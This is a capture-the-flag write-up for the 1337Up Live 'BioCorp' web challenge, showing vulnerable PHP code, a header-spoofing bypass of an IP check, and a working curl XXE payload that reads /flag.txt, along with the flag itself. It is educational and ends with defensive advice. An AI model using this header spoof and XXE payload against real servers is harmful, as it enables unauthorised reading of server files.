1337Up Live CTF web/BioCorp
My solution for 1337Up Live CTF web/BioCorp challenge
Challenge overview
The challenge involves a PHP web application for a fictional company called BioCorp
that manages nuclear reactor controls. The key vulnerability is found in panel.php
, which has two security issues:
- IP-based access control that can be bypassed using a custom HTTP header
- XXE (XML External Entity) vulnerability in XML processing
Application structure
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app
├── about.php
├── assets
│ ├── css
│ │ └── style.css
│ ├── images
│ │ ├── *.png
│ └── js
│ └── main.js
├── contact.php
├── data
│ └── reactor_data.xml
├── footer.php
├── header.php
├── index.php
├── panel.php
└── services.php
Analysis
IP restriction bypass
The application checks for authorized access using this code:
1
2
3
4
5
6
7
$ip_address = $_SERVER['HTTP_X_BIOCORP_VPN'] ?? $_SERVER['REMOTE_ADDR'];
if ($ip_address !== '80.187.61.102') {
echo "<h1>Access Denied</h1>";
echo "<p>You do not have permission to access this page.</p>";
exit;
}
The code first checks for a custom header X-BIOCORP_VPN
before falling back to REMOTE_ADDR
. This allows bypassing the IP restriction by simply setting the custom header.
XXE vulnerability
The application processes XML input without disabling external entities:
1
2
3
4
5
6
7
8
if ($_SERVER['REQUEST_METHOD'] === 'POST' && strpos($_SERVER['CONTENT_TYPE'], 'application/xml') !== false) {
$xml_data = file_get_contents('php://input');
$doc = new DOMDocument();
if (!$doc->loadXML($xml_data, LIBXML_NOENT)) {
echo "<h1>Invalid XML</h1>";
exit;
}
}
The LIBXML_NOENT
flag actually enables external entity processing, and from the Dockerfile we can see that the flag is stored at /flag.txt
:
1
2
COPY flag.txt /flag.txt
RUN chmod 444 /flag.txt && chown root:root /flag.txt
Exploitation
The successful exploit combines both vulnerabilities:
- Use the
X-BioCorp-VPN
header to bypass IP restriction - Submit a POST request with XML content that includes an XXE payload to read
/flag.txt
The exact curl command used was:
1
curl -X POST -H "X-BioCorp-VPN: 80.187.61.102" -H "Content-Type: application/xml" --data '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [<!ENTITY flag SYSTEM "file:///flag.txt">]><reactor><temperature>&flag;</temperature><pressure>1000</pressure><control_rods>inserted</control_rods></reactor>' https://biocorp.ctf.intigriti.io/panel.php
Breaking down the XXE payload:
- Declares an external entity
flag
that reads/flag.txt
- Uses the entity in the temperature field of the reactor XML
- The application then displays the flag value when rendering the temperature
Flag:
INTIGRITI{c4r3ful_w17h_7h053_c0n7r0l5_0r_7h3r3_w1ll_b3_4_m3l7d0wn}
Conclusion
The BioCorp challenge demonstrates a classic combination of IP restriction bypass and XXE vulnerabilities. By exploiting the application’s trust in custom HTTP headers and insecure XML parsing configuration, an attacker could easily bypass access controls and read sensitive server files. This emphasizes the importance of never trusting client-provided headers for authentication and properly configuring XML parsers to disable external entity processing by default.
Key takeaways
- Don’t rely on HTTP headers for authentication/authorization as they can be easily spoofed
- Disable XML external entity processing when handling XML input
- Follow the principle of least privilege - the application shouldn’t have access to read sensitive files